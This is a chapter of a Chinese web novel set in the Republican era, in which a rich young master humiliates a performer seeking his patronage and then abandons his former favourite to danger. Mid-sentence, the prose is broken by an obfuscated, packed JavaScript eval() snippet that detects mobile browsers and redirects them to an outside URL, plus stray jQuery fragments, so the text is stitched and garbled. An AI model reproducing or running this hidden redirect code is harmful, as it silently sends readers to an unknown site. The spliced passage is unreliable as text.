16.第 16 章
作品:《清冷戏子被京圈纨绔强取豪夺后[民国]》 陆世锦刚要骂这个下人不会看眼色,却听到门口传来一道脆生生的声音。
“陆少爷。”
门口进来一道修长人影,来人一身长衫,身段优越,白皙的脸上是一双葡萄般的眼眸,格外动人明亮,殷红的唇饱满丰润,气质明媚张扬,当真是极为精彩的一张脸。
此刻他手中抱着一把琵琶,纤长手指搭在琴弦上。
“周公子您怎么自己过来了,不是说好让您稍等片刻,等我通报了少爷再叫您的吗?”那下人急忙瞟了眼陆世锦,见陆世锦沉着脸没说话,不由有些恨这客人不请自来,不懂规矩。
“抱歉,临时有事,小周是来给满雪送琵琶的,不知薛公子可在?”周小湘话里虽全是薛满雪,一双葡萄眼眸,却盯着坐上的陆世锦灼灼地看,熠熠闪光。
——之前在琵琶语坐在他背后,因此也没看得清晰,现在面对面才发现男人真是英俊,明明长着一张凌厉的脸,但就是很好看,身材更是高大无匹,真丝衬衫下的肌肉也鼓囊饱满,一看就很有力量,和平京那些肩不能挑手不能提的世家子弟比起来,不知强到哪去了。
他的眼光果然很好,要抱大腿他也要抱最粗的大腿,总比天天伺候那些一身恶习的老头子好。
眼中透出一丝势在必得。
陆世锦眼睛像定着锚一样,在他手上的琵琶停住,不知在想什么,只是一味地出神。
来通报的下人看陆世锦没说话,便先守在门口等了。
“陆少爷?”喊了几次对方也没答,周小湘不由有些疑虑。
见他一直盯着自己手中的琵琶看,他心领神会,便问道:“陆少爷喜欢听琵琶吗?”
陆世锦终于抬眸,“你也会弹琵琶?”
“嗯,我也会。”周小湘抿了抿艳红的唇,说道,“我之前也在评弹馆上过班,弹琵琶和唱评弹我都会……陆少爷要听吗?”
“弹一首听听。”
“陆少爷喜欢听什么?”
“弹你擅长的吧。”
陆世锦坐到桌边,让人给周小湘搬来一个板凳坐下,自己则点了根烟,在烟雾升腾中盯着他看。
周小湘被他略带侵略性的眼神看得心中一跳,手拨动琴弦,试了试音后,亲启红唇,唱了一首《夜泊秦淮》。
他的声音自是十分婉转,清丽动听,唱腔曲调也是挑不出错处的好,眼里的情谊更是十足十的动人。
只是听在陆世锦耳里,却是怎么听怎么不对味。
——少了一丝清冽,太过柔腻,非但没让他听得心情愉悦,反而越听越烦躁,脑子里那道颀长挺拔的背影,更是怎么都无法挥散。
“行了别唱了。”陆世锦揉了揉额角,叫来下人给他包了一大袋赏钱,站起来道,“他不在我这儿,你要给他送什么东西就去找他,不用来我这里,我跟他不熟。”
说完最后“不熟”二字,嗓子像卡了什么东西一样,愈发难受起来。
听到他的说辞,周小湘却神色大亮。
他当然不信他和薛满雪不熟的说法,琵琶语前的十里鲜花、礼炮祝词、表演时的捧场,这是不熟的人能做出来的事?
只有一个说法,那就是这俩人闹别扭了。
心里有了打量,他便顺势而为:“陆少爷看起来心情不佳,是和满雪闹矛盾了吗?”
“我了解满雪的为人,他向来性子倔强,也不是会哄人的主,平时闹起脾气来,更是难相处,别说伺候人了,不得罪人就不错了。听说当时在留园班,班主让他接待贵人他宁愿挨毒打也不去,什么样的贵人少爷,在他面前,也只有吃闭门羹的份。”
听到“接待贵人”时,陆世锦耳朵一动。
周小湘继续说道:
“这人,看似是一朵高山雪莲,实则是一块顽石。”
“所以——”
“陆少爷与其为他伤心,不若寻一知心柔顺的人?”周小湘咬了咬唇,声音愈发柔婉,“我就不一样,和他相比,我比他想得开也更知情识趣一点,更不会做出惹主子不开心的事,所以陆少爷包他,还不若包我。”
陆世锦这下算是明白过来了,原来这戏子打着给朋友送东西的名义,实则是来攀附权贵的。
该说不说,这周小湘确实要比那不识好歹的人更懂事一点。
但他在平京圈子里混了这么久,别说周小湘这样的人,就是那些明明跟着自己朋友,却私下来勾搭他的明星或者名伶,多如牛毛。那些攀龙附凤、捧高踩低的人,简直如过江之鲫,赶也赶不完。
他虽行事乖张,却最厌恶背信弃义之人,见多了挣扎在黑暗里的恶之花,更渴望清醒干净,愈发厌恶这种黏腻污浊,这些日风下的不堪,让在其中摸爬滚打的他,几欲作呕。
本还有那么一分尊重艺术的想法,现在被这污浊之人弄得什么心情都没了。
他笑了笑,盯着周小湘半响,说:“行啊。”
周小湘眼里霎时放起光来。
“陆少爷……”
陆世锦往椅子上一坐,支着手说:“脱吧。”
周小湘愕然:“脱……什么?”
“脱衣服呗。”
周小湘望了望四周,门口还站着几个下人,虽然全都低着头,但看样子绝不像要走的样子。
他低下头,咬了咬唇:“可……可这里还有……”
“怎么?不敢?”陆世锦抽着烟,脸上看不清表情,“不是你说你想得开、知情识趣么?那就当着他们的面脱,脱干净。”
周小湘将手放在长衫领口,在周围人的目光中,终究还是没狠下心来。
明白过来什么,他羞耻地涨红了脸,葡萄似的眼珠挣出一滴泪来:“陆少爷……您这是,存心为难我吗?”
“是你自己找上门来的,自取其辱怨不得别人。”陆世锦满脸冷漠,不耐烦地站起身走向门口,可还没走出去,就被周小湘给抓住衣袖,他垂眼扫了下旁边,旁边的下人立刻上前抓住周小湘,一把将他抓起来,“老实点!”
琵琶砸到地上,琴弦磕碰发出杂乱的声音,周小湘脸上是泫然欲泣的表情:“爷,我只是喜欢您而已,您有必要这样羞辱我吗?”
陆世锦看都没看他一眼:“你喜欢的是我,还是我的钱,或者是我的地位,你自己心里不清楚么?”
周小湘:“可是……可是……”贝齿轻咬,“您就敢说,薛满雪他就不是为了您的钱才靠近您的吗?!都是戏子,谁就比谁高贵了!他和我没有本质区别!”
——没错,他就是见不得薛满雪那副高高在上的模样,从前在昆曲馆里就这样,同样是唱《牡丹亭》,就因为他比他会拿腔拿调点,剧院有戏都排给他,贵人们也总是上赶着捧他,拼了命地往他面前挤,而那人偏偏还一副不以为然、自诩高贵的样子,偏偏所有人都吃他那套,当真是做作的让人恶心!
“别在我面前提他名字。”陆世锦面色冷酷,“就算是玩戏子,爷也瞧不上你。”
“凭什么!”周小湘大喊。
“凭什么我有必要告诉你么?”陆世锦不耐地朝下人挥手,下了最后通牒,“下次再假借别人名义来烦我,就不只是赶你出去这么简单了。”
等下人们将周小湘带下去后,陆世锦烦躁地坐椅子上抽烟,眼前却怎么都无法挥散那道身影,脑子里都是周小湘说的那几句话:“听说当时在留园班,班主让他接待贵人他宁愿挨毒打也不去,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16498257|184766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么样的贵人少爷,在他面前,也只有吃闭门羹的份。”
对那人的倔脾气,他是深有领教的,是以这句话他并不存疑。
在遇到他之前,那个人到底遭遇过什么?
心里像有个钟摆,滴答滴答晃得他心烦。
碾灭烟头,叫来安瑾:“那天那个酒鬼,你们是怎么处理的?”
安瑾就等着他问呢,那天男人回来的时候脸色黑的可怕,还没等他汇报,男人就摆手说回家,压根不想听的样子,他惯会看脸色,自然不会不识趣地说话。
“兄弟们打断了他一条腿,但那狗东西太滑头,把阿力咬了一口……然后跑了。”
“跑了?”陆世锦抬眸。
“是的。”
“听你语气还很得意?”陆世锦脸色难看起来,怒道,“你|他|妈怎么办事的?这点小事都办不好?还让他跑了?!”
安瑾是有些高兴,但不是因为自己办事不力高兴,而是因为总算有机会让少爷和薛公子解释清楚误会了。
这也非他多管闲事,而是自来苏州以后,他是亲眼把陆世锦对这位薛公子的态度看在眼里的,也知道自家少爷也不像能轻易放下心的样子,现在有了矛盾,当然是及时解决来得好。
“是属下办事不力。”他低下头,又补充道,“少爷,现在的情况变得更复杂了。据我调查,那个醉鬼名字叫李兴,是薛公子曾经戏班班主的表弟,这个人是个赌狗,曾经因为还不起赌资,意图怂恿自己表哥,直到薛公子……这件事才算结束。”
“还有薛公子原来所在的那个戏班子,表面上教人唱戏,实际上还干着买卖人口的活计,更是臭名昭著……”
把这几天探听到的消息,安瑾像竹筒倒豆子一样说了个全。
陆世锦越听脸越沉。
观察着他的脸色,安瑾又问:“所以,少爷现在要——”
这时,门口的管事进来,对陆世锦说道:“少爷,礼品都备齐了,现在出发去老爷府上吗?”
陆世锦沉着眸子,久久未说话。
“少爷?”那管事又问了一遍。
“出发。”陆世锦站起身,朝门口走去。
安瑾略带犹疑道:“那薛公子……那边?”
“让他自生自灭。”
“啊……?”安瑾有些意外,“放那醉鬼出去薛公子怕是容易有危险,更何况——”
“我说了让他自生自灭听不懂?”陆世锦咬了咬腮帮子,冷冷嘲讽,“他不是自己说自己能处理吗?不是说不需要我管吗?不是自己很能吗?管他死活做什么?别管他!”
说完,便钻进了下人打开的车门。
对前面的司机吩咐道:“开快点,不要让外公久等。”
汽车引擎声发动,司机踩下油门,将身边景物远远甩在后面。
车内一时没人说话,空气沉寂极了。
将车窗打开也疏散不了心里的滞闷。
陆世锦又点燃一根烟,一根接一根抽完,胸腔还是像堵住什么似得,还有一丝无端的心慌,烦闷的让他无法忽视。
为分散注意力,他对旁边的安瑾说道:“抓到的那个叛徒交代了什么?你把港口的事再跟我汇报一下。”
安瑾自然是识趣,也没再提之前的事,而是认真地交代起了码头的事:“那个叛徒的说辞,和王跃说的差不多,陆云修让他在平京和苏州之间传信,帮赵鹏详运送违禁军火的也是他,还有——”
却见陆世锦只是盯着窗外看,目光沉滞,烟头烧到指尖也没发现。
“少爷。”他轻轻喊了一声,陆世锦依旧是没有反应。
他似有预料,问道:“现在去找薛公子?”